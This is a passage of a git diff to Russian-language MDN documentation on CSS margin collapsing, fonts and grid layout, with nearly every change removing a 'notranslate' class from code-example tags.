Web/CSS/CSS_Box_Model/Mastering_margin_collapsing <h3 id="HTML">HTML</h3> -<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Нижний отступ этого абзаца схлопнулся …<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Нижний отступ этого абзаца схлопнулся …<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>… с верхним отступом этого абзаца, объеденив отступы между ними в один, равный <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>code</span><span class="punctuation token">></span></span>1.2rem<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>code</span><span class="punctuation token">></span></span>.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span><span class="punctuation token">>Этот родительский элемент содержит два</span></span></code> <code>абзаца</code><code class="language-html">! @@ -50,7 +50,7 @@ translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing <h3 id="CSS">CSS</h3> -<pre class="brush: css line-numbers language-css notranslate"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span> +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span> <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="token unit">rem</span> <span class="number token">0</span><span class="punctuation token">;</span> <span class="property token">background</span><span class="punctuation token">:</span> lavender<span class="punctuation token">;</span> <span class="punctuation token">}</span> diff --git a/files/ru/web/css/css_fonts/index.html b/files/ru/web/css/css_fonts/index.html index 6011699241..bbd231468e 100644 --- a/files/ru/web/css/css_fonts/index.html +++ b/files/ru/web/css/css_fonts/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Fonts <p>Следующий пример показывает простое использование шрифтовых свойств, стилизующих тэг <p>.</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { width: 600px; margin: 0 auto; font-family: "Helvetica Neue", "Arial", sans-serif; @@ -22,7 +22,7 @@ translation_of: Web/CSS/CSS_Fonts letter-spacing: 1px; }</pre> -<pre class="brush: html notranslate"><p>Three hundred years ago<br> +<pre class="brush: html"><p>Three hundred years ago<br> I thought I might get some sleep<br> I stretched myself out onna antique bed<br> An' my spirit did a midnite creep</p></pre> diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html index 4fd846a256..424d65eae9 100644 --- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -37,7 +37,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В этом примере есть div, содержащий класс wrapper с пятью потомками</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Сделаем wrapper grid контейнером</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -97,7 +97,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В примере ниже мы создаём сетку с шириной колонки 200px. Каждый дочерний элемент сетки будет располагаться в отдельной ячейке сетки.</p> <div id="grid_first"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -106,14 +106,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 200px 200px 200px; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -143,7 +143,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Размер треков (полос) может быть задан с помощью любой единицы длины. Спецификация также вводит дополнительную единицу длины, позволяющую создавать эластичные (flexible) грид-треки. Новая единица длины <code>fr</code> представляет собой долю (fraction) доступного пространства в грид-контейнере. Определение грида в коде ниже создаст три трека равной длины, которые будут увеличиваться и уменьшаться в размерах в соответствии с доступным пространством.</p> <div id="fr_unit_ls"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -152,14 +152,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -186,7 +186,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В следующем примере мы создаём грид с треком в <code>2fr</code> и двумя треками по <code>1fr</code>. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. </p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 2fr 1fr 1fr; } @@ -194,7 +194,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В последнем примере смешаем треки с абсолютной длиной и треки с длиной во fr. Размер первого трека 500 пикселей, и эта фиксированная ширина убирается из доступного пространства. Оставшееся пространство разбивается на три части и пропорционально разделяется между двумя эластичными треками.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 500px 1fr 2fr; } @@ -204,7 +204,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В огромных гридах с большим количеством треков можно использовать нотацию <code>repeat()</code> , чтобы повторить структуру треков или её часть. Например, такое задание грида:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 1fr 1fr 1fr; } @@ -212,7 +212,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>можно записать вот так:</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); } @@ -220,7 +220,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: 20px repeat(6, 1fr) 20px; } @@ -228,7 +228,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной <code>1fr</code> следует трек шириной <code>2fr</code> , и все это дело повторяется пять раз.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(5, 1fr 2fr); } @@ -242,7 +242,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В примере ниже мы задаём <code>grid-auto-rows</code> , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.</p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -251,7 +251,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 200px; @@ -259,7 +259,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -289,7 +289,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Для подобных ситуаций в Grid предусмотрено решение с помощью функции {{cssxref("minmax", "minmax()")}}. В следующем примере <code>minmax()</code> используется, как значение свойства {{cssxref("grid-auto-rows")}}. Автоматически создаваемые строки будут как минимум 100 пикселей в высоту, а как максимум примут значение <code>auto</code>. Использование <code>auto</code> означает, что размер строки посмотрит на размер контента и растянется таким образом, чтобы вместить самый высокий элемент ячейки в этой строке. </p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: minmax(100px, auto); @@ -297,7 +297,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -319,7 +319,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two <p>I have some more content in.</p> @@ -349,7 +349,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. </p> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -358,7 +358,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -377,7 +377,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -419,7 +419,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p><em>Зазоры (Gutters)</em> или аллеи (<em>alleys)</em> между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в <code>1em</code> между строками.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-column-gap: 10px; @@ -427,7 +427,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div>One</div> <div>Two</div> <div>Three</div> @@ -437,7 +437,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -468,7 +468,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.</p> <div id="nesting"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1"> <div class="nested">a</div> <div class="nested">b</div> @@ -485,7 +485,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Если мы задаём для <code>box1</code> значение <code>display: grid</code> , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.</p> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; @@ -496,7 +496,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -533,7 +533,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>В приведённом выше примере мы можем отредактировать вложенный грид, изменив <code>grid-template-columns: repeat(3, 1fr)</code>, на <code>grid-template-columns: subgrid</code>. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.</p> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 4; grid-row-start: 1; @@ -548,7 +548,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:</p> <div id="l_ex"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1">One</div> <div class="box box2">Two</div> <div class="box box3">Three</div> @@ -557,7 +557,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -576,7 +576,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; @@ -607,7 +607,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout <p>Порядком, в котором элементы накладываются друг на друга, можно управлять с помощью свойства <code>z-index</code> - точно так же, как в случае с позиционированными элементами. Если задать <code>box2</code> значение <code>z-index</code> , меньшее, чем у <code>box1</code> , в стеке он отобразится под элементом <code>box1</code>.</p> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-auto-rows: 100px; @@ -628,7 +628,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </pre> <div class="hidden"> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box box1">One</div> <div class="box box2">Two</div> <div class="box box3">Three</div> @@ -637,7 +637,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout </div> </pre> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html index cce90b7f30..ce93888a07 100644 --- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -41,7 +41,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_1"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -59,7 +59,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -85,7 +85,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -104,7 +104,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_2"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -122,7 +122,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -150,7 +150,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -189,7 +189,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_3"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -207,7 +207,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(8, 1fr); grid-gap: 10px; @@ -235,7 +235,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -256,7 +256,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_4"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -274,7 +274,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(4, 1fr); grid-gap: 10px; @@ -290,7 +290,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> </div> </pre> @@ -322,7 +322,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_5"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -340,7 +340,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -366,7 +366,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -381,7 +381,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_6"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -399,7 +399,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -426,7 +426,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -441,7 +441,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_7"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -459,7 +459,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -486,7 +486,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -511,7 +511,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_8"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -529,7 +529,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -557,7 +557,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> @@ -576,7 +576,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout <div id="alignment_9"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -594,7 +594,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(3,100px); @@ -621,7 +621,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="item1">Item 1</div> <div class="item2">Item 2</div> <div class="item3">Item 3</div> diff --git a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html index 58b6f849f2..79f92b22e8 100644 --- a/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html +++ b/files/ru/web/css/css_grid_layout/line-based_placement_with_css_grid/index.html @@ -24,7 +24,7 @@ original_slug: >- <p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -42,14 +42,14 @@ original_slug: >- </pre> </div> -<pre class="brush: css notranslate">.wrapper { +<pre class="brush: css">.wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } </pre> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -64,7 +64,7 @@ original_slug: >- <p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии, то есть, от верхнего края грида, и занимает пространство до четвёртой строчной линии.</p> <div id="Line_Number"> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; @@ -77,7 +77,7 @@ original_slug: >- <p>Задавая адреса для каждого элемента по отдельности, мы можем разместить все наши четыре элемента по колонкам и строкам. Заметьте, что при желании можно оставить ячейки пустыми. Одна из самых приятных вещей при работе с Grid Layout - возможность создавать негативное пространство (пустые области в макете) без кувырков через голову и прочих хаков.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -98,7 +98,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -106,7 +106,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box2 { +<pre class="brush: css">.box2 { grid-column-start: 3; grid-column-end: 4; grid-row-start: 1; @@ -135,7 +135,7 @@ original_slug: >- <p>Мы написали много кода, чтобы разместить каждый элемент. Неудивительно, что существует <a href="/ru/docs/Web/CSS/Shorthand_properties">краткая форма записи свойств</a>. {{cssxref("grid-column-start")}} и {{cssxref("grid-column-end")}} могут быть объединены в одном {{cssxref("grid-column")}}, а {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}} - в {{cssxref("grid-row")}}.</p> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -156,7 +156,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -164,7 +164,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 / 2; grid-row: 1 / 4; } @@ -191,7 +191,7 @@ original_slug: >- <div id="End_Lines"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -212,7 +212,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -220,7 +220,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column-start: 1; grid-row-start: 1; grid-row-end: 4; @@ -248,7 +248,7 @@ original_slug: >- <div id="New_Shorthand"> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -269,7 +269,7 @@ original_slug: >- </pre> </div> -<pre class="brush: html notranslate"><div class="wrapper"> +<pre class="brush: html"><div class="wrapper"> <div class="box1">One</div> <div class="box2">Two</div> <div class="box3">Three</div> @@ -277,7 +277,7 @@ original_slug: >- </div> </pre> -<pre class="brush: css notranslate">.box1 { +<pre class="brush: css">.box1 { grid-column: 1 ; grid-row: 1 / 4; } @@ -310,7 +310,7 @@ original_slug: >- </ul> <div class="hidden"> -<pre class="brush: css notranslate">* {box-sizing: border-box;} +<pre class="brush: css">* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; @@ -331,7 +331,7 @@ original_slug: >- </pre> </div> -<pre 